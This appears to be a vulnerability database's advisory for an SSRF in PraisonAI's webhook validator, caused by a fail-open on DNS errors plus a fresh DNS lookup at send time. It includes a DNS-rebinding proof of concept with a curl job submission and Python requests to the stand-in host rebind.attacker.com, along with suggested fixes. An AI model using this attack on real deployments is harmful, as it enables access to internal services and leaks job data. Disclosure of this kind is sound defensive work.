GHSA-rg5q-pp8p-f7jm CVE-2026-55537 PYSEC-2026-3895
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
- Severity
- 7.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.27%
- Chance of exploitation in the next 30 days. Higher than 18.50% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition
- CWE-705 Incorrect Control Flow Scoping
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
4.6.58- Upgrade praisonai to this version or later
Description
Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS
lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
- Submit a job with
webhook_urlpointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror→pass) - Update DNS to point that hostname to
127.0.0.1or another private IP - When the job completes,
_send_webhook()resolves the hostname fresh → POST sent to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself — the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities:
- HTTP POST to any internal service with JSON payload (job result data)
- If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure
- Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.58 |
4.6.58 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.58
- pip
pip install --upgrade "praisonai>=4.6.58"- poetry
poetry add "praisonai>=4.6.58"- uv
uv add "praisonai>=4.6.58"
Severity breakdown
CVSS 3.1 7.1
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
How to prevent it
- Implementation: The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
- Implementation: When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
- Architecture and Design: Limit the interleaving of operations on files from multiple processes.
- Implementation, Architecture and Design: If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
- Implementation: Recheck the resource after the use call to verify that the action was taken appropriately.
- Architecture and Design: Ensure that some environmental locking mechanism can be used to protect resources effectively.
- Implementation: Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CWE-705: Incorrect Control Flow Scoping
The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-r7v3-x45f-g7hp PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored — agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor